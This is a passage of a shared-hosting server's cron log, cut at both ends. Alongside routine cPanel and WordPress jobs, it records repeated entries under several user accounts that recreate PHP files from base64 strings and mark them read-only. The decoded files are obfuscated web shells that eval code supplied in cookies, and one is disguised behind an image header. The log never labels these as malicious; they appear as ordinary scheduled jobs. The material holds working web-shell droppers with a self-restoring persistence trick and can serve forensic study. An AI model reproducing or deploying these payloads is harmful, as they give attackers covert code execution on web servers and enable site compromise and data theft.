B7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:14:01 medusa CROND[32211]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:14:01 medusa CROND[32212]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:14:01 medusa CROND[32213]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:14:01 medusa CROND[32214]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:14:01 medusa CROND[32217]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:14:01 medusa CROND[32219]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:14:01 medusa CROND[32221]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:14:01 medusa CROND[32227]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:15:01 medusa CROND[1824]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:15:01 medusa CROND[1826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:15:02 medusa CROND[1835]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:15:02 medusa CROND[1838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:15:02 medusa CROND[1839]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:15:02 medusa CROND[1840]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1841]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:15:02 medusa CROND[1845]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1846]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1847]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1848]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:15:02 medusa CROND[1851]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1852]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:15:02 medusa CROND[1850]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:15:02 medusa CROND[1856]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:15:02 medusa CROND[1866]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:15:02 medusa CROND[1867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:15:02 medusa CROND[1870]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:15:02 medusa CROND[1873]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1876]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:15:02 medusa CROND[1877]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:15:02 medusa CROND[1879]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:15:02 medusa CROND[1881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:15:02 medusa CROND[1882]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:16:01 medusa CROND[3821]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:16:01 medusa CROND[3822]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dl